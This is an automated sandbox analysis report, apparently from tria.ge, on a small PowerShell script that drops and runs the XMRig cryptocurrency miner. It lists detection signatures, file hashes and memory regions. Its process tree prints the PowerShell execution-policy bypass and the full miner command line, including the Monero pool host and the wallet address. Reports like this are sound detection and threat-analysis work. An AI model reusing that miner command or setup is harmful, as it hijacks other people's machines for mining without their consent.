Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    615s
  • max time network
    1790s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    16/07/2024, 10:03

General

  • Target

    windows.ps1

  • Size

    421B

  • MD5

    d5684c541008779669644c15a23adaca

  • SHA1

    9250b10b96a788dcc595b998915fa4dd1de25332

  • SHA256

    e92cb9de85087f31c7d038e0c2b59c80e05f8c53d5bcc2a5ebf38f9da13b4f5e

  • SHA512

    2f7f6f89418cf93335154b3961362071dfa77b41858e09ce0745c8813c21748880a24a2388b771e8e7909e76902cd83cacdf89279617b335a068c8bbc40a4ef3

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\windows.ps1
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4748
    • C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.21.3\xmrig.exe" -a rx/0 -o gulf.moneroocean.stream:10001 -u 47T6dQJWm8NARismX3UU1XNkUmi83FFdW7EWfszvkxk1WANdBBJpFHh4jK58MjyLd1UsLRRGsWDCBfVtkrEukhbM6gN9LPY -p Windows --cpu-priority 5
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4356

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0iuk01pc.ela.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.21.3\xmrig.exe

    Filesize

    6.1MB

    MD5

    c0f8959614ae06561216158d78a787e5

    SHA1

    73167d1fd0cee1c96a6505606d21cbfe4369eb00

    SHA256

    e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

    SHA512

    a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

  • memory/4356-92-0x0000027DB9980000-0x0000027DB99A0000-memory.dmp

    Filesize

    128KB

  • memory/4356-99-0x0000027DB9AE0000-0x0000027DB9B00000-memory.dmp

    Filesize

    128KB

  • memory/4356-100-0x0000027DB9B10000-0x0000027DB9B30000-memory.dmp

    Filesize

    128KB

  • memory/4356-97-0x0000027DB9B10000-0x0000027DB9B30000-memory.dmp

    Filesize

    128KB

  • memory/4356-96-0x0000027DB9AE0000-0x0000027DB9B00000-memory.dmp

    Filesize

    128KB

  • memory/4356-94-0x0000027DB9AC0000-0x0000027DB9AE0000-memory.dmp

    Filesize

    128KB

  • memory/4748-26-0x00007FFBB4130000-0x00007FFBB4B1C000-memory.dmp

    Filesize

    9.9MB

  • memory/4748-6-0x00007FFBB4130000-0x00007FFBB4B1C000-memory.dmp

    Filesize

    9.9MB

  • memory/4748-50-0x0000020749600000-0x0000020749612000-memory.dmp

    Filesize

    72KB

  • memory/4748-9-0x0000020749620000-0x0000020749696000-memory.dmp

    Filesize

    472KB

  • memory/4748-33-0x00007FFBB4130000-0x00007FFBB4B1C000-memory.dmp

    Filesize

    9.9MB

  • memory/4748-93-0x00007FFBB4133000-0x00007FFBB4134000-memory.dmp

    Filesize

    4KB

  • memory/4748-95-0x00007FFBB4130000-0x00007FFBB4B1C000-memory.dmp

    Filesize

    9.9MB

  • memory/4748-63-0x00000207495E0000-0x00000207495EA000-memory.dmp

    Filesize

    40KB

  • memory/4748-5-0x0000020749470000-0x0000020749492000-memory.dmp

    Filesize

    136KB

  • memory/4748-98-0x00007FFBB4130000-0x00007FFBB4B1C000-memory.dmp

    Filesize

    9.9MB

  • memory/4748-3-0x00007FFBB4133000-0x00007FFBB4134000-memory.dmp

    Filesize

    4KB

  • memory/4748-10-0x00007FFBB4130000-0x00007FFBB4B1C000-memory.dmp

    Filesize

    9.9MB